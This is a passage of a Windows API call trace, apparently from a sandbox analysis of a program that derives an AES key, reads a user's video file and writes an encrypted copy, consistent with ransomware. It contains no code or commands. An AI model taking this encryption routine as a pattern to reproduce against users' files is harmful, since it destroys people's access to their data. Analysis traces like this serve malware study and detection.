wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.615] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.615] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.615] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.615] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.616] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.616] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418bb10, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.616] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.616] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.616] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.616] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.616] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.616] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.616] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.617] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.618] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.618] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.618] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.618] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.618] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\EyITN_I6uxHP.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\eyitn_i6uxhp.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.618] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.618] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.618] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.618] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.618] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.619] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii")) returned 0x10 [0029.619] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\EyITN_I6uxHP.encrypted.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\eyitn_i6uxhp.encrypted.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.619] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.619] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.619] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.619] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.621] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.621] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x3f8f, lpOverlapped=0x0) returned 1 [0029.621] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.623] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.623] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.623] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.623] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.624] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.624] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.624] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.624] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.624] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.625] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.625] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.625] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.625] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064cf0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cf0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.625] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.625] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.625] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.625] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.625] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.625] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.626] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.626] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.626] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.626] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x3f8f, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x3f90) returned 1 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.626] CharLowerBuffW (in: lpsz="byte[16273]", cchLength=0xb | out: lpsz="byte[16273]") returned 0xb [0029.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.627] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.627] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.627] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.627] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.627] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4381f70*, pdwDataLen=0xe8f3dfdf68*=0x3f8f, dwBufLen=0x3f90 | out: pbData=0xe8f4381f70*, pdwDataLen=0xe8f3dfdf68*=0x3f90) returned 1 [0029.627] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.627] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.627] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.627] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.628] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.628] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.628] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.628] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.629] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.629] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.629] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.629] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.629] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.629] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 